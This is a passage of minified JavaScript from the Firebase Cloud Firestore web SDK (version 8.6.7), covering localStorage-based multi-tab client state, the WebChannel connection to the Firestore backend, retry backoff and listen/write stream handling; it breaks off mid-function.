this.error&&(t.error={code:this.error.code,message:this.error.message}),JSON.stringify(t)},t}(),Fy=function(){function t(t,e){this.clientId=t,this.activeTargetIds=e}return t.Vs=function(e,n){for(var r=JSON.parse(n),i="object"==typeof r&&r.activeTargetIds instanceof Array,o=Tf(),s=0;i&&s<r.activeTargetIds.length;++s)i=Th(r.activeTargetIds[s]),o=o.add(r.activeTargetIds[s]);return i?new t(e,o):(Yd("SharedClientState","Failed to parse client data for instance '"+e+"': "+n),null)},t}(),Vy=function(){function t(t,e){this.clientId=t,this.onlineState=e}return t.Vs=function(e){var n=JSON.parse(e);return"object"==typeof n&&-1!==["Unknown","Online","Offline"].indexOf(n.onlineState)&&"string"==typeof n.clientId?new t(n.clientId,n.onlineState):(Yd("SharedClientState","Failed to parse online state: "+e),null)},t}(),By=function(){function t(){this.activeTargetIds=Tf()}return t.prototype.Ds=function(t){this.activeTargetIds=this.activeTargetIds.add(t)},t.prototype.Cs=function(t){this.activeTargetIds=this.activeTargetIds.delete(t)},t.prototype.Ss=function(){var t={activeTargetIds:this.activeTargetIds.toArray(),updateTimeMs:Date.now()};return JSON.stringify(t)},t}(),Hy=function(){function t(t,e,n,r,i){this.window=t,this.Se=e,this.persistenceKey=n,this.Ns=r,this.syncEngine=null,this.onlineStateHandler=null,this.sequenceNumberHandler=null,this.xs=this.Fs.bind(this),this.ks=new gf(sh),this.started=!1,this.$s=[];var o=n.replace(/[.*+?^${}()|[\]\\]/g,"\\$&");this.storage=this.window.localStorage,this.currentUser=i,this.Os=Dy(this.persistenceKey,this.Ns),this.Ms="firestore_sequence_number_"+this.persistenceKey,this.ks=this.ks.insert(this.Ns,new By),this.Ls=new RegExp("^firestore_clients_"+o+"_([^_]*)$"),this.Bs=new RegExp("^firestore_mutations_"+o+"_(\\d+)(?:_(.*))?$"),this.qs=new RegExp("^firestore_targets_"+o+"_(\\d+)$"),this.Us="firestore_online_state_"+this.persistenceKey,this.Qs=function(t){return"firestore_bundle_loaded_"+t}(this.persistenceKey),this.window.addEventListener("storage",this.xs)}return t.yt=function(t){return!(!t||!t.localStorage)},t.prototype.start=function(){return(0,Zo.mG)(this,void 0,void 0,function(){var t,e,n,r,i,o,s,a,c,l,u=this;return(0,Zo.Jh)(this,function(d){switch(d.label){case 0:return[4,this.syncEngine.fn()];case 1:for(t=d.sent(),e=0,n=t;e<n.length;e++)(r=n[e])!==this.Ns&&(i=this.getItem(Dy(this.persistenceKey,r)))&&(o=Fy.Vs(r,i))&&(this.ks=this.ks.insert(o.clientId,o));for(this.Ks(),(s=this.storage.getItem(this.Us))&&(a=this.js(s))&&this.Ws(a),c=0,l=this.$s;c<l.length;c++)this.Fs(l[c]);return this.$s=[],this.window.addEventListener("pagehide",function(){return u.shutdown()}),this.started=!0,[2]}})})},t.prototype.writeSequenceNumber=function(t){this.setItem(this.Ms,JSON.stringify(t))},t.prototype.getAllActiveQueryTargets=function(){return this.Gs(this.ks)},t.prototype.isActiveQueryTarget=function(t){var e=!1;return this.ks.forEach(function(n,r){r.activeTargetIds.has(t)&&(e=!0)}),e},t.prototype.addPendingMutation=function(t){this.zs(t,"pending")},t.prototype.updateMutationState=function(t,e,n){this.zs(t,e,n),this.Hs(t)},t.prototype.addLocalQueryTarget=function(t){var e="not-current";if(this.isActiveQueryTarget(t)){var n=this.storage.getItem(Ry(this.persistenceKey,t));if(n){var r=jy.Vs(t,n);r&&(e=r.state)}}return this.Js.Ds(t),this.Ks(),e},t.prototype.removeLocalQueryTarget=function(t){this.Js.Cs(t),this.Ks()},t.prototype.isLocalQueryTarget=function(t){return this.Js.activeTargetIds.has(t)},t.prototype.clearQueryState=function(t){this.removeItem(Ry(this.persistenceKey,t))},t.prototype.updateQueryState=function(t,e,n){this.Ys(t,e,n)},t.prototype.handleUserChange=function(t,e,n){var r=this;e.forEach(function(t){r.Hs(t)}),this.currentUser=t,n.forEach(function(t){r.addPendingMutation(t)})},t.prototype.setOnlineState=function(t){this.Xs(t)},t.prototype.notifyBundleLoaded=function(){this.Zs()},t.prototype.shutdown=function(){this.started&&(this.window.removeEventListener("storage",this.xs),this.removeItem(this.Os),this.started=!1)},t.prototype.getItem=function(t){var e=this.storage.getItem(t);return Zd("SharedClientState","READ",t,e),e},t.prototype.setItem=function(t,e){Zd("SharedClientState","SET",t,e),this.storage.setItem(t,e)},t.prototype.removeItem=function(t){Zd("SharedClientState","REMOVE",t),this.storage.removeItem(t)},t.prototype.Fs=function(t){var e=this,n=t;if(n.storageArea===this.storage){if(Zd("SharedClientState","EVENT",n.key,n.newValue),n.key===this.Os)return void Yd("Received WebStorage notification for local change. Another client might have garbage-collected our state");this.Se.enqueueRetryable(function(){return(0,Zo.mG)(e,void 0,void 0,function(){var t,e,r,i,o,s;return(0,Zo.Jh)(this,function(a){if(this.started){if(null!==n.key)if(this.Ls.test(n.key)){if(null==n.newValue)return t=this.ti(n.key),[2,this.ei(t,null)];if(e=this.ni(n.key,n.newValue))return[2,this.ei(e.clientId,e)]}else if(this.Bs.test(n.key)){if(null!==n.newValue&&(r=this.si(n.key,n.newValue)))return[2,this.ii(r)]}else if(this.qs.test(n.key)){if(null!==n.newValue&&(i=this.ri(n.key,n.newValue)))return[2,this.oi(i)]}else if(n.key===this.Us){if(null!==n.newValue&&(o=this.js(n.newValue)))return[2,this.Ws(o)]}else if(n.key===this.Ms)(s=function(t){var e=Wd.o;if(null!=t)try{var n=JSON.parse(t);nh("number"==typeof n),e=n}catch(r){Yd("SharedClientState","Failed to read sequence number from WebStorage",r)}return e}(n.newValue))!==Wd.o&&this.sequenceNumberHandler(s);else if(n.key===this.Qs)return[2,this.syncEngine.ci()]}else this.$s.push(n);return[2]})})})}},Object.defineProperty(t.prototype,"Js",{get:function(){return this.ks.get(this.Ns)},enumerable:!1,configurable:!0}),t.prototype.Ks=function(){this.setItem(this.Os,this.Js.Ss())},t.prototype.zs=function(t,e,n){var r=new Ly(this.currentUser,t,e,n),i=Ny(this.persistenceKey,this.currentUser,t);this.setItem(i,r.Ss())},t.prototype.Hs=function(t){var e=Ny(this.persistenceKey,this.currentUser,t);this.removeItem(e)},t.prototype.Xs=function(t){this.storage.setItem(this.Us,JSON.stringify({clientId:this.Ns,onlineState:t}))},t.prototype.Ys=function(t,e,n){var r=Ry(this.persistenceKey,t),i=new jy(t,e,n);this.setItem(r,i.Ss())},t.prototype.Zs=function(){this.setItem(this.Qs,"value-not-used")},t.prototype.ti=function(t){var e=this.Ls.exec(t);return e?e[1]:null},t.prototype.ni=function(t,e){var n=this.ti(t);return Fy.Vs(n,e)},t.prototype.si=function(t,e){var n=this.Bs.exec(t),r=Number(n[1]);return Ly.Vs(new Ay(void 0!==n[2]?n[2]:null),r,e)},t.prototype.ri=function(t,e){var n=this.qs.exec(t),r=Number(n[1]);return jy.Vs(r,e)},t.prototype.js=function(t){return Vy.Vs(t)},t.prototype.ii=function(t){return(0,Zo.mG)(this,void 0,void 0,function(){return(0,Zo.Jh)(this,function(e){return t.user.uid===this.currentUser.uid?[2,this.syncEngine.ui(t.batchId,t.state,t.error)]:(Zd("SharedClientState","Ignoring mutation for non-active user "+t.user.uid),[2])})})},t.prototype.oi=function(t){return this.syncEngine.ai(t.targetId,t.state,t.error)},t.prototype.ei=function(t,e){var n=this,r=e?this.ks.insert(t,e):this.ks.remove(t),i=this.Gs(this.ks),o=this.Gs(r),s=[],a=[];return o.forEach(function(t){i.has(t)||s.push(t)}),i.forEach(function(t){o.has(t)||a.push(t)}),this.syncEngine.hi(s,a).then(function(){n.ks=r})},t.prototype.Ws=function(t){this.ks.get(t.clientId)&&this.onlineStateHandler(t.onlineState)},t.prototype.Gs=function(t){var e=Tf();return t.forEach(function(t,n){e=e.unionWith(n.activeTargetIds)}),e},t}(),zy=function(){function t(){this.li=new By,this.fi={},this.onlineStateHandler=null,this.sequenceNumberHandler=null}return t.prototype.addPendingMutation=function(t){},t.prototype.updateMutationState=function(t,e,n){},t.prototype.addLocalQueryTarget=function(t){return this.li.Ds(t),this.fi[t]||"not-current"},t.prototype.updateQueryState=function(t,e,n){this.fi[t]=e},t.prototype.removeLocalQueryTarget=function(t){this.li.Cs(t)},t.prototype.isLocalQueryTarget=function(t){return this.li.activeTargetIds.has(t)},t.prototype.clearQueryState=function(t){delete this.fi[t]},t.prototype.getAllActiveQueryTargets=function(){return this.li.activeTargetIds},t.prototype.isActiveQueryTarget=function(t){return this.li.activeTargetIds.has(t)},t.prototype.start=function(){return this.li=new By,Promise.resolve()},t.prototype.handleUserChange=function(t,e,n){},t.prototype.setOnlineState=function(t){},t.prototype.shutdown=function(){},t.prototype.writeSequenceNumber=function(t){},t.prototype.notifyBundleLoaded=function(){},t}(),Gy=function(){function t(){}return t.prototype.di=function(t){},t.prototype.shutdown=function(){},t}(),Uy=function(){function t(){var t=this;this.wi=function(){return t._i()},this.mi=function(){return t.yi()},this.gi=[],this.pi()}return t.prototype.di=function(t){this.gi.push(t)},t.prototype.shutdown=function(){window.removeEventListener("online",this.wi),window.removeEventListener("offline",this.mi)},t.prototype.pi=function(){window.addEventListener("online",this.wi),window.addEventListener("offline",this.mi)},t.prototype._i=function(){Zd("ConnectivityMonitor","Network connectivity changed: AVAILABLE");for(var t=0,e=this.gi;t<e.length;t++)(0,e[t])(0)},t.prototype.yi=function(){Zd("ConnectivityMonitor","Network connectivity changed: UNAVAILABLE");for(var t=0,e=this.gi;t<e.length;t++)(0,e[t])(1)},t.yt=function(){return"undefined"!=typeof window&&void 0!==window.addEventListener&&void 0!==window.removeEventListener},t}(),qy={BatchGetDocuments:"batchGet",Commit:"commit",RunQuery:"runQuery"},Wy=function(){function t(t){this.Ei=t.Ei,this.Ti=t.Ti}return t.prototype.Ii=function(t){this.Ai=t},t.prototype.Ri=function(t){this.bi=t},t.prototype.onMessage=function(t){this.vi=t},t.prototype.close=function(){this.Ti()},t.prototype.send=function(t){this.Ei(t)},t.prototype.Pi=function(){this.Ai()},t.prototype.Vi=function(t){this.bi(t)},t.prototype.Si=function(t){this.vi(t)},t}(),Ky=function(t){function e(e){var n=this;return(n=t.call(this,e)||this).forceLongPolling=e.forceLongPolling,n.autoDetectLongPolling=e.autoDetectLongPolling,n.useFetchStreams=e.useFetchStreams,n}return(0,Zo.ZT)(e,t),e.prototype.ki=function(t,e,n,r){return new Promise(function(i,o){var s=new qd;s.listenOnce(Vd.COMPLETE,function(){try{switch(s.getLastErrorCode()){case Fd.NO_ERROR:var e=s.getResponseJson();Zd("Connection","XHR received:",JSON.stringify(e)),i(e);break;case Fd.TIMEOUT:Zd("Connection",'RPC "'+t+'" timed out'),o(new $d(Kd.DEADLINE_EXCEEDED,"Request time out"));break;case Fd.HTTP_ERROR:var n=s.getStatus();if(Zd("Connection",'RPC "'+t+'" failed with status:',n,"response text:",s.getResponseText()),n>0){var r=s.getResponseJson().error;if(r&&r.status&&r.message){var a=(c=r.status.toLowerCase().replace(/_/g,"-"),Object.values(Kd).indexOf(c)>=0?c:Kd.UNKNOWN);o(new $d(a,r.message))}else o(new $d(Kd.UNKNOWN,"Server responded with status "+s.getStatus()))}else o(new $d(Kd.UNAVAILABLE,"Connection failed."));break;default:eh()}}finally{Zd("Connection",'RPC "'+t+'" completed.')}var c});var a=JSON.stringify(r);s.send(e,"POST",a,n,15)})},e.prototype.Oi=function(t,e){var n=[this.Di,"/","google.firestore.v1.Firestore","/",t,"/channel"],r=new Od,i=Il(),o={httpSessionIdParam:"gsessionid",initMessageHeaders:{},messageUrlParams:{database:"projects/"+this.databaseId.projectId+"/databases/"+this.databaseId.database},sendRawJson:!0,supportsCrossDomainXhr:!0,internalChannelParams:{forwardChannelRequestTimeoutMs:6e5},forceLongPolling:this.forceLongPolling,detectBufferingProxy:this.autoDetectLongPolling};this.useFetchStreams&&(o.xmlHttpFactory=new Gd({})),this.Fi(o.initMessageHeaders,e),(0,Yo.uI)()||(0,Yo.b$)()||(0,Yo.d)()||(0,Yo.w1)()||(0,Yo.Mn)()||(0,Yo.ru)()||(o.httpHeadersOverwriteParam="$httpHeaders");var s=n.join("");Zd("Connection","Creating WebChannel: "+s,o);var a=r.createWebChannel(s,o),c=!1,l=!1,u=new Wy({Ei:function(t){l?Zd("Connection","Not sending because WebChannel is closed:",t):(c||(Zd("Connection","Opening WebChannel transport."),a.open(),c=!0),Zd("Connection","WebChannel sending:",t),a.send(t))},Ti:function(){return a.close()}}),d=function(t,e,n){t.listen(e,function(t){try{n(t)}catch(e){setTimeout(function(){throw e},0)}})};return d(a,Ud.EventType.OPEN,function(){l||Zd("Connection","WebChannel transport opened.")}),d(a,Ud.EventType.CLOSE,function(){l||(l=!0,Zd("Connection","WebChannel transport closed"),u.Vi())}),d(a,Ud.EventType.ERROR,function(t){l||(l=!0,Jd("Connection","WebChannel transport errored:",t),u.Vi(new $d(Kd.UNAVAILABLE,"The operation could not be completed")))}),d(a,Ud.EventType.MESSAGE,function(t){var e;if(!l){var n=t.data[0];nh(!!n);var r=n.error||(null===(e=n[0])||void 0===e?void 0:e.error);if(r){Zd("Connection","WebChannel received error:",r);var i=r.status,o=function(t){var e=cf[t];if(void 0!==e)return ff(e)}(i),s=r.message;void 0===o&&(o=Kd.INTERNAL,s="Unknown error status: "+i+" with message "+r.message),l=!0,u.Vi(new $d(o,s)),a.close()}else Zd("Connection","WebChannel received:",n),u.Si(n)}}),d(i,Bd.STAT_EVENT,function(t){t.stat===Hd?Zd("Connection","Detected buffering proxy"):t.stat===zd&&Zd("Connection","Detected no buffering proxy")}),setTimeout(function(){u.Pi()},0),u},e}(function(){function t(t){this.databaseInfo=t,this.databaseId=t.databaseId,this.Di=(t.ssl?"https":"http")+"://"+t.host,this.Ci="projects/"+this.databaseId.projectId+"/databases/"+this.databaseId.database+"/documents"}return t.prototype.Ni=function(t,e,n,r){var i=this.xi(t,e);Zd("RestConnection","Sending: ",i,n);var o={};return this.Fi(o,r),this.ki(t,i,o,n).then(function(t){return Zd("RestConnection","Received: ",t),t},function(e){throw Jd("RestConnection",t+" failed with error: ",e,"url: ",i,"request:",n),e})},t.prototype.$i=function(t,e,n,r){return this.Ni(t,e,n,r)},t.prototype.Fi=function(t,e){if(t["X-Goog-Api-Client"]="gl-js/ fire/8.6.7",t["Content-Type"]="text/plain",this.databaseInfo.appId&&(t["X-Firebase-GMPID"]=this.databaseInfo.appId),e)for(var n in e.authHeaders)e.authHeaders.hasOwnProperty(n)&&(t[n]=e.authHeaders[n])},t.prototype.xi=function(t,e){return this.Di+"/v1/"+e+":"+qy[t]},t}());function $y(){return"undefined"!=typeof window?window:null}function Qy(){return"undefined"!=typeof document?document:null}function Xy(t){return new Hf(t,!0)}var Zy=function(){function t(t,e,n,r,i){void 0===n&&(n=1e3),void 0===r&&(r=1.5),void 0===i&&(i=6e4),this.Se=t,this.timerId=e,this.Mi=n,this.Li=r,this.Bi=i,this.qi=0,this.Ui=null,this.Qi=Date.now(),this.reset()}return t.prototype.reset=function(){this.qi=0},t.prototype.Ki=function(){this.qi=this.Bi},t.prototype.ji=function(t){var e=this;this.cancel();var n=Math.floor(this.qi+this.Wi()),r=Math.max(0,Date.now()-this.Qi),i=Math.max(0,n-r);i>0&&Zd("ExponentialBackoff","Backing off for "+i+" ms (base delay: "+this.qi+" ms, delay with jitter: "+n+" ms, last attempt: "+r+" ms ago)"),this.Ui=this.Se.enqueueAfterDelay(this.timerId,i,function(){return e.Qi=Date.now(),t()}),this.qi*=this.Li,this.qi<this.Mi&&(this.qi=this.Mi),this.qi>this.Bi&&(this.qi=this.Bi)},t.prototype.Gi=function(){null!==this.Ui&&(this.Ui.skipDelay(),this.Ui=null)},t.prototype.cancel=function(){null!==this.Ui&&(this.Ui.cancel(),this.Ui=null)},t.prototype.Wi=function(){return(Math.random()-.5)*this.qi},t}(),Yy=function(){function t(t,e,n,r,i,o){this.Se=t,this.zi=n,this.Hi=r,this.Ji=i,this.listener=o,this.state=0,this.Yi=0,this.Xi=null,this.stream=null,this.Zi=new Zy(t,e)}return t.prototype.tr=function(){return 1===this.state||2===this.state||4===this.state},t.prototype.er=function(){return 2===this.state},t.prototype.start=function(){3!==this.state?this.auth():this.nr()},t.prototype.stop=function(){return(0,Zo.mG)(this,void 0,void 0,function(){return(0,Zo.Jh)(this,function(t){switch(t.label){case 0:return this.tr()?[4,this.close(0)]:[3,2];case 1:t.sent(),t.label=2;case 2:return[2]}})})},t.prototype.sr=function(){this.state=0,this.Zi.reset()},t.prototype.ir=function(){var t=this;this.er()&&null===this.Xi&&(this.Xi=this.Se.enqueueAfterDelay(this.zi,6e4,function(){return t.rr()}))},t.prototype.cr=function(t){this.ur(),this.stream.send(t)},t.prototype.rr=function(){return(0,Zo.mG)(this,void 0,void 0,function(){return(0,Zo.Jh)(this,function(t){return this.er()?[2,this.close(0)]:[2]})})},t.prototype.ur=function(){this.Xi&&(this.Xi.cancel(),this.Xi=null)},t.prototype.close=function(t,e){return(0,Zo.mG)(this,void 0,void 0,function(){return(0,Zo.Jh)(this,function(n){switch(n.label){case 0:return this.ur(),this.Zi.cancel(),this.Yi++,3!==t?this.Zi.reset():e&&e.code===Kd.RESOURCE_EXHAUSTED?(Yd(e.toString()),Yd("Using maximum backoff delay to prevent overloading the backend."),this.Zi.Ki()):e&&e.code===Kd.UNAUTHENTICATED&&this.Ji.invalidateToken(),null!==this.stream&&(this.ar(),this.stream.close(),this.stream=null),this.state=t,[4,this.listener.Ri(e)];case 1:return n.sent(),[2]}})})},t.prototype.ar=function(){},t.prototype.auth=function(){var t=this;this.state=1;var e=this.hr(this.Yi),n=this.Yi;this.Ji.getToken().then(function(e){t.Yi===n&&t.lr(e)},function(n){e(function(){var e=new $d(Kd.UNKNOWN,"Fetching auth token failed: "+n.message);return t.dr(e)})})},t.prototype.lr=function(t){var e=this,n=this.hr(this.Yi);this.stream=this.wr(t),this.stream.Ii(function(){n(function(){return e.state=2,e.listener.Ii()})}),this.stream.Ri(function(t){n(function(){return e.dr(t)})}),this.stream.onMessage(function(t){n(function(){return e.onMessage(t)})})},t.prototype.nr=function(){var t=this;this.state=4,this.Zi.ji(function(){return(0,Zo.mG)(t,void 0,void 0,function(){return(0,Zo.Jh)(this,function(t){return this.state=0,this.start(),[2]})})})},t.prototype.dr=function(t){return Zd("PersistentStream","close with error: "+t),this.stream=null,this.close(3,t)},t.prototype.hr=function(t){var e=this;return function(n){e.Se.enqueueAndForget(function(){return e.Yi===t?n():(Zd("PersistentStream","stream callback skipped by getCloseGuardedDispatcher."),Promise.resolve())})}},t}(),Jy=function(t){function e(e,n,r,i,o){var s=this;return(s=t.call(this,e,"listen_stream_connection_backoff","listen_stream_idle",n,r,o)||this).R=i,s}return(0,Zo.ZT)(e,t),e.prototype.wr=function(t){return this.Hi.Oi("Listen",t)},e.prototype.onMessage=function(t){this.Zi.reset();var e=function(t,e){var n,r;if("targetChange"in e){var i="NO_CHANGE"===(r=e.targetChange.targetChangeType||"NO_CHANGE")?0:"ADD"===r?1:"REMOVE"===r?2:"CURRENT"===r?3:"RESET"===r?4:eh(),o=e.targetChange.targetIds||[],s=function(t,e){return t.I?(nh(void 0===e||"string"==typeof e),vh.fromBase64String(e||"")):(nh(void 0===e||e instanceof Uint8Array),vh.fromUint8Array(e||new Uint8Array))}(t,e.targetChange.resumeToken),a=(c=e.targetChange.cause)&&function(t){var e=void 0===t.code?Kd.UNKNOWN:ff(t.code);return new $d(e,t.message||"")}(c);n=new Nf(i,o,s,a||null)}else if("documentChange"in e){o=Qf(t,(i=e.documentChange).document.name),s=qf(i.document.updateTime);var c=new qh({mapValue:{fields:i.document.fields}}),l=(a=Kh.newFoundDocument(o,s,c),i.targetIds||[]);n=new Af(l,i.removedTargetIds||[],a.key,a)}else if("documentDelete"in e)o=Qf(t,(i=e.documentDelete).document),s=i.readTime?qf(i.readTime):uh.min(),c=Kh.newNoDocument(o,s),n=new Af([],a=i.removedTargetIds||[],c.key,c);else if("documentRemove"in e)o=Qf(t,(i=e.documentRemove).document),n=new Af([],s=i.removedTargetIds||[],o,null);else{if(!("filter"in e))return eh();var u=e.filter;o=new hf(i=u.count||0),n=new Df(s=u.targetId,o)}return n}(this.R,t),n=function(t){if(!("targetChange"in t))return uh.min();var e=t.targetChange;return e.targetIds&&e.targetIds.length?uh.min():e.readTime?qf(e.readTime):uh.min()}(t);return this.listener._r(e,n)},e.prototype.mr=function(t){var e,n,r,i,o={};o.database=Yf(this.R),o.addTarget=(e=this.R,(r=Yh(i=(n=t).target)?{documents:ig(e,i)}:{query:og(e,i)}).targetId=n.targetId,n.resumeToken.approximateByteSize()>0?r.resumeToken=Gf(e,n.resumeToken):n.snapshotVersion.compareTo(uh.min())>0&&(r.readTime=zf(e,n.snapshotVersion.toTimestamp())),r);var s=function(t,e){var n=function(t,e){switch(e){case 0:return null;case 1:return"existence-filter-mismatch";case 2:return"limbo-document";default:return eh()}}(0,e.purpose);return null==n?null:{"goog-listen-tags":n}}(0,t);s&&(o.labels=s),this.cr(o)},e.prototype.yr=function(t){var e={};e.database=Yf(this.R),e.removeTarget=t,this.cr(e)},e}(Yy),tb=function(t){function e(e,n,r,i,o){var s=this;return(s=t.call(this,e,"write_stream_connection_backoff","write_stream_idle",n,r,o)||this).R=i,s.gr=!1,s}return(0,Zo.ZT)(e,t),Object.defineProperty(e.prototype,"pr",{get:function(){return this.gr},enumerable:!1,configurable:!0}),e.prototype.start=function(){this.gr=!1,this.lastStreamToken=void 0,t.prototype.start.call(this)},e.prototype.ar=function(){this.gr&&this.Er([])},e.prototype.wr=function(t){return this.Hi.Oi("Write",t)},e.prototype.onMessage=function(t){if(nh(!!t.streamToken),this.lastStreamToken=t.streamToken,this.gr){this.Zi.reset();var e=(i=t.commitTime,(r=t.writeResults)&&r.length>0?(nh(void 0!==i),r.map(function(t){return n=i,(r=qf((e=t).updateTime?e.updateTime:n)).isEqual(uh.min())&&(r=qf(n)),new Kp(r,e.transformResults||[]);var e,n,r})):[]),n=qf(t.commitTime);return this.listener.Tr(n,e)}var r,i;return nh(!t.writeResults||0===t.writeResults.length),this.gr=!0,this.listener.Ir()},e.prototype.Ar=function(){var t={};t.database=Yf(this.R),this.cr(t)},e.prototype.Er=function(t){var e=this,n={streamToken:this.lastStreamToken,writes:t.map(function(t){return ng(e.R,t)})};this.cr(n)},e}(Yy),eb=function(t){function e(e,n,r){var i=this;return(i=t.call(this)||this).credentials=e,i.Hi=n,i.R=r,i.Rr=!1,i}return(0,Zo.ZT)(e,t),e.prototype.br=function(){if(this.Rr)throw new $d(Kd.FAILED_PRECONDITION,"The client has already been terminated.")},e.prototype.Ni=function(t,e,n){var r=this;return this.br(),this.credentials.getToken().then(function(i){return r.Hi.Ni(t,e,n,i)}).catch(function(t){throw"FirebaseError"===t.name?(t.code===Kd.UNAUTHENTICATED&&r.credentials.invalidateToken(),t):new $d(Kd.UNKNOWN,t.toString())})},e.prototype.$i=function(t,e,n){var r=this;return this.br(),this.credentials.getToken().then(function(i){return r.Hi.$i(t,e,n,i)}).catch(function(t){throw"FirebaseError"===t.name?(t.code===Kd.UNAUTHENTICATED&&r.credentials.invalidateToken(),t):new $d(Kd.UNKNOWN,t.toString())})},e.prototype.terminate=function(){this.Rr=!0},e}(function(){}),nb=function(){function t(t,e){this.asyncQueue=t,this.onlineStateHandler=e,this.state="Unknown",this.vr=0,this.Pr=null,this.Vr=!0}return t.prototype.Sr=function(){var t=this;0===this.vr&&(this.Dr("Unknown"),this.Pr=this.asyncQueue.enqueueAfterDelay("online_state_timeout",1e4,function(){return t.Pr=null,t.Cr("Backend didn't respond within 10 seconds."),t.Dr("Offline"),Promise.resolve()}))},t.prototype.Nr=function(t){"Online"===this.state?this.Dr("Unknown"):(this.vr++,this.vr>=1&&(this.Fr(),this.Cr("Connection failed 1 times. Most recent error: "+t.toString()),this.Dr("Offline")))},t.prototype.set=function(t){this.Fr(),this.vr=0,"Online"===t&&(this.Vr=!1),this.Dr(t)},t.prototype.Dr=function(t){t!==this.state&&(this.state=t,this.onlineStateHandler(t))},t.prototype.Cr=function(t){var e="Could not reach Cloud Firestore backend. "+t+"\nThis typically indicates that your device does not have a healthy Internet connection at the moment. The client will operate in offline mode until it is able to successfully connect to the backend.";this.Vr?(Yd(e),this.Vr=!1):Zd("OnlineStateTracker",e)},t.prototype.Fr=function(){null!==this.Pr&&(this.Pr.cancel(),this.Pr=null)},t}(),rb=function(t,e,n,r,i){var o=this;this.localStore=t,this.datastore=e,this.asyncQueue=n,this.remoteSyncer={},this.kr=[],this.$r=new Map,this.Or=new Set,this.Mr=[],this.Lr=i,this.Lr.di(function(t){n.enqueueAndForget(function(){return(0,Zo.mG)(o,void 0,void 0,function(){return(0,Zo.Jh)(this,function(t){switch(t.label){case 0:return hb(this)?(Zd("RemoteStore","Restarting streams for network reachability change."),[4,function(t){return(0,Zo.mG)(this,void 0,void 0,function(){var e;return(0,Zo.Jh)(this,function(n){switch(n.label){case 0:return(e=rh(t)).Or.add(4),[4,ob(e)];case 1:return n.sent(),e.Br.set("Unknown"),e.Or.delete(4),[4,ib(e)];case 2:return n.sent(),[2]}})})}(this)]):[3,2];case 1:t.sent(),t.label=2;case 2:return[2]}})})})}),this.Br=new nb(n,r)};function ib(t){return(0,Zo.mG)(this,void 0,void 0,function(){var e,n;return(0,Zo.Jh)(this,function(r){switch(r.label){case 0:if(!hb(t))return[3,4];e=0,n=t.Mr,r.label=1;case 1:return e<n.length?[4,(0,n[e])(!0)]:[3,4];case 2:r.sent(),r.label=3;case 3:return e++,[3,1];case 4:return[2]}})})}function ob(t){return(0,Zo.mG)(this,void 0,void 0,function(){var e,n;return(0,Zo.Jh)(this,function(r){switch(r.label){case 0:e=0,n=t.Mr,r.label=1;case 1:return e<n.length?[4,(0,n[e])(!1)]:[3,4];case 2:r.sent(),r.label=3;case 3:return e++,[3,1];case 4:return[2]}})})}function sb(t,e){var n=rh(t);n.$r.has(e.targetId)||(n.$r.set(e.targetId,e),db(n)?ub(n):Ob(n).er()&&cb(n,e))}function ab(t,e){var n=rh(t),r=Ob(n);n.$r.delete(e),r.er()&&lb(n,e),0===n.$r.size&&(r.er()?r.ir():hb(n)&&n.Br.set("Unknown"))}function cb(t,e){t.qr.U(e.targetId),Ob(t).mr(e)}function lb(t,e){t.qr.U(e),Ob(t).yr(e)}function ub(t){t.qr=new Lf({getRemoteKeysForTarget:function(e){return t.remoteSyncer.getRemoteKeysForTarget(e)},lt:function(e){return t.$r.get(e)||null}}),Ob(t).start(),t.Br.Sr()}function db(t){return hb(t)&&!Ob(t).tr()&&t.$r.size>0}function hb(t){return 0===rh(t).Or.size}function pb(t){t.qr=void 0}function fb(t){return(0,Zo.mG)(this,void 0,void 0,function(){return(0,Zo.Jh)(this,function(e){return t.$r.forEach(function(e,n){cb(t,e)}),[2]})})}function gb(t,e){return(0,Zo.mG)(this,void 0,void 0,function(){return(0,Zo.Jh)(this,function(n){return pb(t),db(t)?(t.Br.Nr(e),ub(t)):t.Br.set("Unknown"),[2]})})}function mb(t,e,n){return(0,Zo.mG)(this,void 0,void 0,function(){var r,i,o;return(0,Zo.Jh)(this,function(s){switch(s.label){case 0:if(t.Br.set("Online"),!(e instanceof Nf&&2===e.state&&e.cause))return[3,6];s.label=1;case 1:return s.trys.push([1,3,,5]),[4,function(t,e){return(0,Zo.mG)(this,void 0,void 0,function(){var n,r,i,o;return(0,Zo.Jh)(this,function(s){switch(s.label){case 0:n=e.cause,r=0,i=e.targetIds,s.label=1;case 1:return r<i.length?t.$r.has(o=i[r])?[4,t.remoteSyncer.rejectListen(o,n)]:[3,3]:[3,5];case 2:s.sent(),t.$r.delete(o),t.qr.removeTarget(o),s.label=3;case 3:s.label=4;case 4:return r++,[3,1];case 5:return[2]}})})}(t,e)];case 2:return s.sent(),[3,5];case 3:return r=s.sent(),Zd("RemoteStore","Failed to remove targets %s: %s ",e.targetIds.join(","),r),[4,yb(t,r)];case 4:return s.sent(),[3,5];case 5:return[3,13];case 6:if(e instanceof Af?t.qr.X(e):e instanceof Df?t.qr.rt(e):t.qr.et(e),n.isEqual(uh.min()))return[3,13];s.label=7;case 7:return s.trys.push([7,11,,13]),[4,uy(t.localStore)];case 8:return i=s.sent(),n.compareTo(i)>=0?[4,(a=t,c=n,l=a.qr.ut(c),l.targetChanges.forEach(function(t,e){if(t.resumeToken.approximateByteSize()>0){var n=a.$r.get(e);n&&a.$r.set(e,n.withResumeToken(t.resumeToken,c))}}),l.targetMismatches.forEach(function(t){var e=a.$r.get(t);if(e){a.$r.set(t,e.withResumeToken(vh.EMPTY_BYTE_STRING,e.snapshotVersion)),lb(a,t);var n=new nm(e.target,t,1,e.sequenceNumber);cb(a,n)}}),a.remoteSyncer.applyRemoteEvent(l))]:[3,10];case 9:s.sent(),s.label=10;case 10:return[3,13];case 11:return Zd("RemoteStore","Failed to raise snapshot:",o=s.sent()),[4,yb(t,o)];case 12:return s.sent(),[3,13];case 13:return[2]}var a,c,l})})}function yb(t,e,n){return(0,Zo.mG)(this,void 0,void 0,function(){var r=this;return(0,Zo.Jh)(this,function(i){switch(i.label){case 0:if(!Kg(e))throw e;return t.Or.add(1),[4,ob(t)];case 1:return i.sent(),t.Br.set("Offline"),n||(n=function(){return uy(t.localStore)}),t.asyncQueue.enqueueRetryable(function(){return(0,Zo.mG)(r,void 0,void 0,function(){return(0,Zo.Jh)(this,function(e){switch(e.label){case 0:return Zd("RemoteStore","Retrying IndexedDB access"),[4,n()];case 1:return e.sent(),t.Or.delete(1),[4,ib(t)];case 2:return e.sent(),[2]}})})}),[2]}})})}function bb(t,e){return e().catch(function(n){return yb(t,n,e)})}function vb(t){return(0,Zo.mG)(this,void 0,void 0,function(){var 